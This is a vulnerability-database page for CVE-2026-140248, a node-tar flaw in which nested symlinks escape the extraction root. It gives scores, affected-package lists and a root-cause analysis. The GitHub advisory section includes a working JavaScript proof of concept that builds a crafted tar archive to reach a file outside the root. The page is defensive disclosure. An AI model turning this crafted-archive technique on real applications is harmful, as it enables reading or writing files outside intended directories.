Every CVESearch/Get API key

CVE-2026-140248

node-tar: Nested symlink target can escape node-tar extraction root

Explain with AI
ChatGPTClaudeGoogle AI
Severity
7.2High
Network attack, no privileges, needs user interactionCVSS 4.0, CVE List
Exploitation
Proof of concept
CISA reports one, no source links it
Exploit chance
0.92% in 30 days
Percentile61st
EPSS, scored
Listed fix
8.0.0 for tar (npm)
From GitHub Advisories and OSV55 other affected packages

Overview

node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.

CVSS 4.0 vector

Exploitability

Attack vector
Network
Complexity
Low
Attack requirements
None
Privileges needed
None
User interaction
Passive

Impact on the vulnerable system

Confidentiality
Low
Integrity
High
Availability
Low

Impact on subsequent systems

Confidentiality
None
Integrity
None
Availability
None
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

Exploit chance over time

Unchanged since Dec 2, 2026
EPSS score 0.92% every day from Dec 2, 2026 to Dec 4, 2026.

Affected

Packages 56

Affected packages
PackageAffectedFixed
tar
npm
7.5.22 up to 8.0.0
8.0.0
node-tar
Debian:12
All versions, plus listed versions
6.1.13+~cs7.0.5-16.1.13+~cs7.0.5-1+deb12u16.1.13+~cs7.0.5-26.1.13+~cs7.0.5-36.1.13+~cs7.0.5-4
Show 17 more versionsShow less
6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-106.2.1+ds1+~cs6.1.13-116.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-36.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-56.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-86.2.1+ds1+~cs6.1.13-96.2.1+~cs7.0.8-17.5.16+~4.0.1-17.5.16+~4.0.1-27.5.19+~4.0.1-17.5.19+~4.0.1-27.5.22+~4.0.1-1
None listed
node-tar
Debian:13
All versions, plus listed versions
6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-106.2.1+ds1+~cs6.1.13-116.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-3
Show 13 more versionsShow less
6.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-56.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-86.2.1+ds1+~cs6.1.13-96.2.1+~cs7.0.8-16.2.1+~cs7.0.8-1+deb13u17.5.16+~4.0.1-17.5.16+~4.0.1-27.5.19+~4.0.1-17.5.19+~4.0.1-27.5.22+~4.0.1-1
None listed
node-tar
Debian:14
All versions, plus listed versions
6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-106.2.1+ds1+~cs6.1.13-116.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-3
Show 12 more versionsShow less
6.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-56.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-86.2.1+ds1+~cs6.1.13-96.2.1+~cs7.0.8-17.5.16+~4.0.1-17.5.16+~4.0.1-27.5.19+~4.0.1-17.5.19+~4.0.1-27.5.22+~4.0.1-1
None listed
calico-whisker-3.32
Docker Hardened Images:Alpine:3.23
3.32.3-r0 and later, plus listed versions
3.32.3-r13.32.3-r23.32.4-r03.32.4-r13.32.4-r23.32.4-r33.32.4-r43.32.4-r5
None listed
calico-whisker-3.32
Docker Hardened Images:Alpine:3.24
3.32.3-r0 and later, plus listed versions
3.32.3-r13.32.3-r23.32.4-r03.32.4-r13.32.4-r23.32.4-r33.32.4-r43.32.4-r5
None listed
calico-whisker-3.33
Docker Hardened Images:Alpine:3.23
3.33.0-r0 and later, plus listed versions
3.33.0-r13.33.0-r23.33.0-r33.33.1-r03.33.1-r13.33.1-r23.33.1-r33.33.1-r4
None listed
calico-whisker-3.33
Docker Hardened Images:Alpine:3.24
3.33.0-r0 and later, plus listed versions
3.33.0-r13.33.0-r23.33.0-r33.33.1-r03.33.1-r13.33.1-r23.33.1-r33.33.1-r4
None listed
calico-whisker-fips-3.32
Docker Hardened Images:Alpine:3.23
3.32.3-r0 and later, plus listed versions
3.32.3-r13.32.3-r23.32.4-r03.32.4-r13.32.4-r23.32.4-r33.32.4-r43.32.4-r5
None listed
calico-whisker-fips-3.32
Docker Hardened Images:Alpine:3.24
3.32.3-r0 and later, plus listed versions
3.32.3-r13.32.3-r23.32.4-r03.32.4-r13.32.4-r23.32.4-r33.32.4-r43.32.4-r5
None listed
Show 46 more packagesShow less
Affected packages
PackageAffectedFixed
calico-whisker-fips-3.33
Docker Hardened Images:Alpine:3.23
3.33.0-r0 and later, plus listed versions
3.33.0-r13.33.0-r23.33.0-r33.33.1-r03.33.1-r13.33.1-r23.33.1-r33.33.1-r4
None listed
calico-whisker-fips-3.33
Docker Hardened Images:Alpine:3.24
3.33.0-r0 and later, plus listed versions
3.33.0-r13.33.0-r23.33.0-r33.33.1-r03.33.1-r13.33.1-r23.33.1-r33.33.1-r4
None listed
directus-12
Docker Hardened Images:Alpine:3.23
12.4.1-r0 and later, plus listed versions
12.4.1-r112.4.1-r212.4.1-r312.5.0-r012.5.1-r0
Show 19 more versionsShow less
12.5.1-r112.6.0-r012.6.0-r112.6.0-r212.6.0-r312.6.0-r412.6.0-r512.6.1-r012.6.1-r112.6.1-r212.6.1-r312.6.1-r412.6.1-r512.6.1-r612.7.0-r012.7.0-r112.7.0-r212.7.0-r312.7.0-r4
None listed
directus-12
Docker Hardened Images:Alpine:3.24
12.4.1-r0 and later, plus listed versions
12.4.1-r112.4.1-r212.4.1-r312.5.0-r012.5.1-r0
Show 19 more versionsShow less
12.5.1-r112.6.0-r012.6.0-r112.6.0-r212.6.0-r312.6.0-r412.6.0-r512.6.1-r012.6.1-r112.6.1-r212.6.1-r312.6.1-r412.6.1-r512.6.1-r612.7.0-r012.7.0-r112.7.0-r212.7.0-r312.7.0-r4
None listed
kyverno-policy-reporter-ui-dev
Docker Hardened Images:Alpine:3.23
2.6.1-r0 and later, plus listed versions
2.7.0-r02.7.0-r12.7.0-r22.7.1-r02.7.1-r1
Show 20 more versionsShow less
2.7.1-r22.7.2-r02.7.2-r12.7.3-r02.8.1-r02.8.1-r12.8.1-r22.8.1-r32.8.1-r42.8.1-r52.9.0-r12.9.1-r02.9.1-r12.9.1-r22.9.1-r32.9.1-r42.9.1-r52.9.1-r62.9.1-r72.9.1-r8
None listed
kyverno-policy-reporter-ui-dev
Docker Hardened Images:Alpine:3.24
2.6.1-r0 and later, plus listed versions
2.7.0-r02.7.0-r12.7.0-r22.7.1-r02.7.1-r1
Show 20 more versionsShow less
2.7.1-r22.7.2-r02.7.2-r12.7.3-r02.8.1-r02.8.1-r12.8.1-r22.8.1-r32.8.1-r42.8.1-r52.9.0-r12.9.1-r02.9.1-r12.9.1-r22.9.1-r32.9.1-r42.9.1-r52.9.1-r62.9.1-r72.9.1-r8
None listed
kyverno-policy-reporter-ui-fips-dev
Docker Hardened Images:Alpine:3.23
2.6.1-r0 and later, plus listed versions
2.7.0-r02.7.0-r12.7.0-r22.7.1-r02.7.1-r1
Show 20 more versionsShow less
2.7.1-r22.7.2-r02.7.2-r12.7.3-r02.8.1-r02.8.1-r12.8.1-r22.8.1-r32.8.1-r42.8.1-r52.9.0-r12.9.1-r02.9.1-r12.9.1-r22.9.1-r32.9.1-r42.9.1-r52.9.1-r62.9.1-r72.9.1-r8
None listed
kyverno-policy-reporter-ui-fips-dev
Docker Hardened Images:Alpine:3.24
2.6.1-r0 and later, plus listed versions
2.7.0-r02.7.0-r12.7.0-r22.7.1-r02.7.1-r1
Show 20 more versionsShow less
2.7.1-r22.7.2-r02.7.2-r12.7.3-r02.8.1-r02.8.1-r12.8.1-r22.8.1-r32.8.1-r42.8.1-r52.9.0-r12.9.1-r02.9.1-r12.9.1-r22.9.1-r32.9.1-r42.9.1-r52.9.1-r62.9.1-r72.9.1-r8
None listed
kyverno-policy-reporter-ui-fips
Docker Hardened Images:Alpine:3.23
2.6.1-r0 and later, plus listed versions
2.7.0-r02.7.0-r12.7.0-r22.7.1-r02.7.1-r1
Show 20 more versionsShow less
2.7.1-r22.7.2-r02.7.2-r12.7.3-r02.8.1-r02.8.1-r12.8.1-r22.8.1-r32.8.1-r42.8.1-r52.9.0-r12.9.1-r02.9.1-r12.9.1-r22.9.1-r32.9.1-r42.9.1-r52.9.1-r62.9.1-r72.9.1-r8
None listed
kyverno-policy-reporter-ui-fips
Docker Hardened Images:Alpine:3.24
2.6.1-r0 and later, plus listed versions
2.7.0-r02.7.0-r12.7.0-r22.7.1-r02.7.1-r1
Show 20 more versionsShow less
2.7.1-r22.7.2-r02.7.2-r12.7.3-r02.8.1-r02.8.1-r12.8.1-r22.8.1-r32.8.1-r42.8.1-r52.9.0-r12.9.1-r02.9.1-r12.9.1-r22.9.1-r32.9.1-r42.9.1-r52.9.1-r62.9.1-r72.9.1-r8
None listed
kyverno-policy-reporter-ui
Docker Hardened Images:Alpine:3.23
2.6.1-r0 and later, plus listed versions
2.7.0-r02.7.0-r12.7.0-r22.7.1-r02.7.1-r1
Show 20 more versionsShow less
2.7.1-r22.7.2-r02.7.2-r12.7.3-r02.8.1-r02.8.1-r12.8.1-r22.8.1-r32.8.1-r42.8.1-r52.9.0-r12.9.1-r02.9.1-r12.9.1-r22.9.1-r32.9.1-r42.9.1-r52.9.1-r62.9.1-r72.9.1-r8
None listed
kyverno-policy-reporter-ui
Docker Hardened Images:Alpine:3.24
2.6.1-r0 and later, plus listed versions
2.7.0-r02.7.0-r12.7.0-r22.7.1-r02.7.1-r1
Show 20 more versionsShow less
2.7.1-r22.7.2-r02.7.2-r12.7.3-r02.8.1-r02.8.1-r12.8.1-r22.8.1-r32.8.1-r42.8.1-r52.9.0-r12.9.1-r02.9.1-r12.9.1-r22.9.1-r32.9.1-r42.9.1-r52.9.1-r62.9.1-r72.9.1-r8
None listed
llama-cpp-0
Docker Hardened Images:Alpine:3.23
0.7.0-r1 and later, plus listed versions
0.7.0-r20.7.0-r30.7.0-r40.7.0-r50.7.0-r6
Show 11 more versionsShow less
0.7.0-r70.8.0-r00.8.0-r10.9.0-r00.9.0-r10.9.0-r20.9.0-r30.9.0-r40.9.0-r50.9.0-r60.9.0-r7
None listed
llama-cpp-0
Docker Hardened Images:Alpine:3.24
0.7.0-r1 and later, plus listed versions
0.7.0-r20.7.0-r30.7.0-r40.7.0-r50.7.0-r6
Show 11 more versionsShow less
0.7.0-r70.8.0-r00.8.0-r10.9.0-r00.9.0-r10.9.0-r20.9.0-r30.9.0-r40.9.0-r50.9.0-r60.9.0-r7
None listed
llama-cpp-1
Docker Hardened Images:Alpine:3.23
1.0.0-r0 and later, plus listed versions
1.0.0-r11.1.0-r01.1.0-r1
None listed
llama-cpp-1
Docker Hardened Images:Alpine:3.24
1.0.0-r0 and later, plus listed versions
1.0.0-r11.1.0-r01.1.0-r1
None listed
logto-1
Docker Hardened Images:Alpine:3.23
1.45.0-r0 and later, plus listed versions
1.45.0-r11.45.0-r21.45.0-r31.45.0-r41.46.0-r0
Show 8 more versionsShow less
1.46.0-r11.46.0-r21.46.0-r31.46.0-r41.46.0-r51.46.0-r61.46.0-r71.46.0-r8
None listed
logto-1
Docker Hardened Images:Alpine:3.24
1.45.0-r0 and later, plus listed versions
1.45.0-r11.45.0-r21.45.0-r31.45.0-r41.46.0-r0
Show 8 more versionsShow less
1.46.0-r11.46.0-r21.46.0-r31.46.0-r41.46.0-r51.46.0-r61.46.0-r71.46.0-r8
None listed
renovate-44
Docker Hardened Images:Alpine:3.23
44.190.0-r0 and later, plus listed versions
44.190.0-r144.206.0-r044.218.0-r044.224.1-r044.224.2-r0
Show 38 more versionsShow less
44.225.1-r044.225.2-r044.226.2-r044.227.2-r044.227.4-r044.230.1-r044.235.1-r044.235.4-r044.236.4-r044.237.3-r044.239.0-r044.239.1-r044.241.0-r044.242.0-r044.247.1-r044.247.2-r044.249.3-r044.251.0-r044.252.2-r044.252.8-r044.253.4-r044.255.2-r044.256.1-r044.257.0-r044.257.5-r044.257.6-r044.257.9-r044.259.0-r044.260.1-r044.261.1-r044.262.1-r044.262.2-r044.263.2-r044.263.5-r044.263.5-r144.264.1-r044.264.1-r144.264.1-r2
None listed
renovate-44
Docker Hardened Images:Alpine:3.24
44.190.0-r0 and later, plus listed versions
44.190.0-r144.206.0-r044.218.0-r044.224.1-r044.224.2-r0
Show 38 more versionsShow less
44.225.1-r044.225.2-r044.226.2-r044.227.2-r044.227.4-r044.230.1-r044.235.1-r044.235.4-r044.236.4-r044.237.3-r044.239.0-r044.239.1-r044.241.0-r044.242.0-r044.247.1-r044.247.2-r044.249.3-r044.251.0-r044.252.2-r044.252.8-r044.253.4-r044.255.2-r044.256.1-r044.257.0-r044.257.5-r044.257.6-r044.257.9-r044.259.0-r044.260.1-r044.261.1-r044.262.1-r044.262.2-r044.263.2-r044.263.5-r044.263.5-r144.264.1-r044.264.1-r144.264.1-r2
None listed
calico-whisker-3.32
Docker Hardened Images:Debian:13
3.32.3-0 and later, plus listed versions
3.32.3-13.32.3-23.32.4-03.32.4-13.32.4-23.32.4-33.32.4-43.32.4-5
None listed
calico-whisker-3.33
Docker Hardened Images:Debian:13
3.33.0-0 and later, plus listed versions
3.33.0-13.33.0-23.33.0-33.33.1-03.33.1-13.33.1-23.33.1-33.33.1-4
None listed
calico-whisker-fips-3.32
Docker Hardened Images:Debian:13
3.32.3-0 and later, plus listed versions
3.32.3-13.32.3-23.32.4-03.32.4-13.32.4-23.32.4-33.32.4-43.32.4-5
None listed
calico-whisker-fips-3.33
Docker Hardened Images:Debian:13
3.33.0-0 and later, plus listed versions
3.33.0-13.33.0-23.33.0-33.33.1-03.33.1-13.33.1-23.33.1-33.33.1-4
None listed
directus-12
Docker Hardened Images:Debian:13
12.4.1-0 and later, plus listed versions
12.4.1-112.4.1-212.5.0-012.5.0-112.5.0-2
Show 23 more versionsShow less
12.5.1-012.5.1-112.5.1-212.5.1-312.6.0-012.6.0-112.6.0-212.6.0-312.6.0-412.6.0-512.6.0-612.6.1-012.6.1-112.6.1-212.6.1-312.6.1-412.6.1-512.7.0-012.7.0-112.7.0-212.7.0-312.7.0-412.7.0-5
None listed
kibana-9.4
Docker Hardened Images:Debian:13
9.4.5-1 and later, plus listed versions
9.4.10-09.4.10-19.4.10-29.4.7-09.4.8-0
Show 18 more versionsShow less
9.4.8-19.4.8-119.4.8-129.4.8-139.4.8-149.4.8-29.4.8-39.4.8-49.4.8-59.4.8-69.4.8-79.4.8-89.4.8-99.4.9-09.4.9-19.4.9-29.4.9-39.4.9-4
None listed
kibana-9.5
Docker Hardened Images:Debian:13
9.5.5-0 and later, plus listed versions
9.5.5-19.5.5-109.5.5-119.5.5-129.5.5-2
Show 13 more versionsShow less
9.5.5-39.5.5-49.5.5-59.5.5-69.5.5-79.5.5-99.5.6-09.5.6-19.5.6-29.5.6-39.5.7-09.5.7-19.5.7-2
None listed
kyverno-policy-reporter-ui-dev
Docker Hardened Images:Debian:13
2.6.1-0 and later, plus listed versions
2.7.0-02.7.0-12.7.0-22.7.1-02.7.1-1
Show 20 more versionsShow less
2.7.1-22.7.2-02.7.2-12.7.3-02.8.1-02.8.1-12.8.1-22.8.1-32.8.1-42.8.1-52.9.0-12.9.1-02.9.1-12.9.1-22.9.1-32.9.1-42.9.1-52.9.1-62.9.1-72.9.1-8
None listed
kyverno-policy-reporter-ui-fips-dev
Docker Hardened Images:Debian:13
2.6.1-0 and later, plus listed versions
2.7.0-02.7.0-12.7.0-22.7.1-02.7.1-1
Show 20 more versionsShow less
2.7.1-22.7.2-02.7.2-12.7.3-02.8.1-02.8.1-12.8.1-22.8.1-32.8.1-42.8.1-52.9.0-12.9.1-02.9.1-12.9.1-22.9.1-32.9.1-42.9.1-52.9.1-62.9.1-72.9.1-8
None listed
kyverno-policy-reporter-ui-fips
Docker Hardened Images:Debian:13
2.6.1-0 and later, plus listed versions
2.7.0-02.7.0-12.7.0-22.7.1-02.7.1-1
Show 20 more versionsShow less
2.7.1-22.7.2-02.7.2-12.7.3-02.8.1-02.8.1-12.8.1-22.8.1-32.8.1-42.8.1-52.9.0-12.9.1-02.9.1-12.9.1-22.9.1-32.9.1-42.9.1-52.9.1-62.9.1-72.9.1-8
None listed
kyverno-policy-reporter-ui
Docker Hardened Images:Debian:13
2.6.1-0 and later, plus listed versions
2.7.0-02.7.0-12.7.0-22.7.1-02.7.1-1
Show 20 more versionsShow less
2.7.1-22.7.2-02.7.2-12.7.3-02.8.1-02.8.1-12.8.1-22.8.1-32.8.1-42.8.1-52.9.0-12.9.1-02.9.1-12.9.1-22.9.1-32.9.1-42.9.1-52.9.1-62.9.1-72.9.1-8
None listed
llama-cpp-0
Docker Hardened Images:Debian:13
0.6.0-0 and later, plus listed versions
0.7.0-00.7.0-10.7.0-20.7.0-30.7.0-4
Show 15 more versionsShow less
0.7.0-50.7.0-60.7.0-70.8.0-00.8.0-10.9.0-00.9.0-10.9.0-20.9.0-30.9.0-40.9.0-50.9.0-60.9.0-70.9.0-80.9.0-9
None listed
llama-cpp-1
Docker Hardened Images:Debian:13
1.0.0-0 and later, plus listed versions
1.0.0-11.0.0-21.0.0-31.1.0-01.1.0-11.1.0-2
None listed
logto-1
Docker Hardened Images:Debian:13
1.45.0-0 and later, plus listed versions
1.45.0-11.45.0-21.45.0-31.45.0-41.46.0-0
Show 8 more versionsShow less
1.46.0-11.46.0-21.46.0-31.46.0-41.46.0-51.46.0-61.46.0-71.46.0-8
None listed
opensearch-dashboards
Docker Hardened Images:Debian:13
3.8.0-0 and later, plus listed versions
3.10.0-03.10.0-13.10.0-23.10.0-33.10.0-4
Show 11 more versionsShow less
3.10.0-53.8.0-13.8.0-23.8.0-33.9.0-03.9.0-13.9.0-23.9.0-33.9.0-43.9.0-53.9.0-6
None listed
renovate-44
Docker Hardened Images:Debian:13
44.190.0-0 and later, plus listed versions
44.190.0-144.212.0-044.219.0-044.224.2-044.225.1-0
Show 37 more versionsShow less
44.225.2-044.226.2-044.227.2-044.227.4-044.230.1-044.235.1-044.235.4-044.236.4-044.237.3-044.239.0-044.239.1-044.242.0-044.247.1-044.247.2-044.249.3-044.251.0-044.252.2-044.252.8-044.253.4-044.255.2-044.256.1-044.257.0-044.257.5-044.257.6-044.257.9-044.259.0-044.260.1-044.261.1-044.262.1-044.262.2-044.263.2-044.263.5-044.263.5-144.264.1-044.264.1-144.264.1-244.264.1-3
None listed
uptime-kuma-1
Docker Hardened Images:Debian:13
1.23.17-0 and later, plus listed versions
1.23.17-11.23.17-111.23.17-121.23.17-21.23.17-3
Show 6 more versionsShow less
1.23.17-41.23.17-51.23.17-61.23.17-71.23.17-81.23.17-9
None listed
uptime-kuma-2
Docker Hardened Images:Debian:13
2.5.0-0 and later, plus listed versions
2.5.0-12.5.0-22.5.10-02.5.11-02.5.11-1
Show 15 more versionsShow less
2.5.11-22.5.11-32.5.12-02.5.13-02.5.13-12.5.3-02.5.3-12.5.4-02.5.5-02.5.5-12.5.6-02.5.7-02.5.7-12.5.9-02.5.9-1
None listed
node-tar
Ubuntu:Pro:14.04:LTS
All versions, plus listed versions
0.1.18-10.1.18-1ubuntu0.1~esm1
None listed
node-tar
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
1.0.3-21.0.3-2ubuntu0.1~esm1
None listed
node-tar
Ubuntu:18.04:LTS
All versions, plus listed versions
2.2.1-1
None listed
node-tar
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
4.4.10+ds1-24.4.10+ds1-2ubuntu14.4.10+ds1-2ubuntu1+esm1
None listed
node-tar
Ubuntu:22.04:LTS
All versions, plus listed versions
6.1.7+~cs11.3.10-16.1.11+~cs11.3.10-16.1.11+ds1+~cs6.0.6-1
None listed
node-tar
Ubuntu:24.04:LTS
All versions, plus listed versions
6.1.13+~cs7.0.5-16.1.13+~cs7.0.5-3
None listed
node-tar
Ubuntu:26.10
All versions, plus listed versions
6.2.1+ds1+~cs6.1.13-107.5.22+~4.0.1-1
None listed
node-tar
Ubuntu:26.04:LTS
All versions, plus listed versions
6.2.1+~cs7.0.8-16.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-10
None listed

Only in multi-CVE advisories 1

Each of these advisories covers several CVEs at once, so it doesn’t establish that this one affects the package.

Packages named only by advisories that cover several CVEs
PackageAffectedFixed
tar
TuxCare:npm
1.0.3-tuxcare.0 up to 1.0.3-tuxcare.2, plus listed versions
From an advisory covering 6 CVEs
1.0.31.0.3-tuxcare.1
1.0.3-tuxcare.2
7.5.22-tuxcare.0 up to 7.5.22-tuxcare.1, plus listed versions
From an advisory covering 24 CVEs
7.5.22
7.5.22-tuxcare.1
7.5.21-tuxcare.0 up to 7.5.21-tuxcare.1, plus listed versions
From an advisory covering 24 CVEs
7.5.21
7.5.21-tuxcare.1

Products 1

Sources

CVE List Score usedCVSS 4.07.2

node-tar: Nested symlink target can escape node-tar extraction root

node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.

Record
CVE-2026-140248
CVSS 4.0
7.2 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-59
Updated
2026-12-05
EUVDEUVD-2026-140455CVSS 4.07.2

node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.

Record
EUVD-2026-140455
CVSS 4.0
7.2 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
Updated
2026-12-05
GitHub AdvisoriesGHSA-6wwr-g865-f46rCVSS 4.07.2

node-tar: Nested symlink target can escape node-tar extraction root

Summary

With default preservePaths: false, tar 7.5.22 can extract a symbolic link whose effective target is outside the extraction directory. A crafted archive first creates one in-root symlink and then a second symlink whose target contains that symlink followed by ... The containment check simplifies the target lexically before checking filesystem symlinks, but the stored target is resolved by the OS through the first symlink. A later consumer following the extracted link can access a file outside the intended root.

This was reproduced locally on commit 2a22bfc5d3a432a606d9da0e2d87ba634aa3b1cb (package version 7.5.22). Earlier versions were not assessed. The PoC only reads a marker that it creates in its own temporary directory. No preexisting file is touched.

Root cause

STRIPABSOLUTEPATH accepts a symlink linkpath containing .. if path.posix.normalize(path.posix.join(entryDir, linkpath)) appears to stay inside the extraction root (src/unpack.ts:263-302). Later, SYMLINK derives parts using path.resolve(dirname(entry.absolute), entry.linkpath) (src/unpack.ts:640-659), which also removes b/.. before ENSURE_NO_SYMLINK inspects each component (src/unpack.ts:679-698). LINK then writes the original unsimplified entry.linkpath with fs.symlink (src/unpack.ts:866-880).

For a/b -> ../x and a/c -> b/../.., the lexical check reduces the second target to the extraction root and never checks a/b. Actual filesystem traversal follows a/b to x first and then processes two parent components, ending in the extraction root's parent.

Safe local PoC

Run from a built checkout of 7.5.22:

import { mkdtempSync, mkdirSync, writeFileSync, readFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { Header, extract } from 'tar'

const parent = mkdtempSync(join(tmpdir(), 'node-tar-link-poc-'))
const out = join(parent, 'out')
mkdirSync(out)
writeFileSync(join(parent, 'outside-marker.txt'), 'OUTSIDE MARKER\n')
const block = h => {
  const b = Buffer.alloc(512)
  new Header(h).encode(b)
  return b
}
const input = join(parent, 'input.tar')
writeFileSync(input, Buffer.concat([
  block({ path: 'x/', type: 'Directory', size: 0 }),
  block({ path: 'a/', type: 'Directory', size: 0 }),
  block({ path: 'a/b', type: 'SymbolicLink', linkpath: '../x', size: 0 }),
  block({ path: 'a/c', type: 'SymbolicLink', linkpath: 'b/../..', size: 0 }),
  Buffer.alloc(1024),
]))

const warnings = []
await extract({ file: input, cwd: out, onwarn: (code, message) => warnings.push({ code, message }) })
console.log(readFileSync(join(out, 'a/c/outside-marker.txt'), 'utf8').trim())
console.log(warnings)
// OUTSIDE MARKER
// []

The marker is outside out; the access passes through a symlink extracted under out. This demonstrates the target containment bypass. It does not claim that node-tar itself writes outside out while extracting a subsequent member; its existing path checks may stop such an entry.

Impact and suggested fix

An attacker needs to supply a tar archive to an application that extracts links and later follows or serves files from the extracted tree. The resulting link crosses the documented default target confinement. The downstream read/write impact depends on that consumer.

Validate link targets using filesystem semantics before accepting them, or conservatively reject a target that traverses .. after a symlink component. In particular, inspect the unsimplified components before path.resolve() removes them. Add a regression case with a symlink component followed by .., and assert that the second link is rejected under default options.

Credit goes to GitHub user @mikkel32 as finder/reporter in the published advisory.

Record
GHSA-6wwr-g865-f46r
CVSS 4.0
7.2 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-59
Updated
2026-12-02
NVDCVSS 4.07.2

node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.

Record
CVE-2026-140248
CVSS 4.0
7.2 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-59
Updated
2026-12-05
OSVCVSS 4.07.2

node-tar: Nested symlink target can escape node-tar extraction root

node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.

Record
CVE-2026-140248
CVSS 4.0
7.2 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-59
Updated
2026-12-02
OSVDEBIAN-CVE-2026-140248CVSS 4.07.2

node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.

Record
DEBIAN-CVE-2026-140248
CVSS 4.0
7.2 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-12-02
Show 6 more recordsShow less
OSVDHI-iflk-u5lp-5y3l-tyhfCVSS 4.07.2

node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a…

node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.

Record
DHI-iflk-u5lp-5y3l-tyhf
CVSS 4.0
7.2 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-12-05
OSVGHSA-6wwr-g865-f46rCVSS 4.07.2

node-tar: Nested symlink target can escape node-tar extraction root

Summary

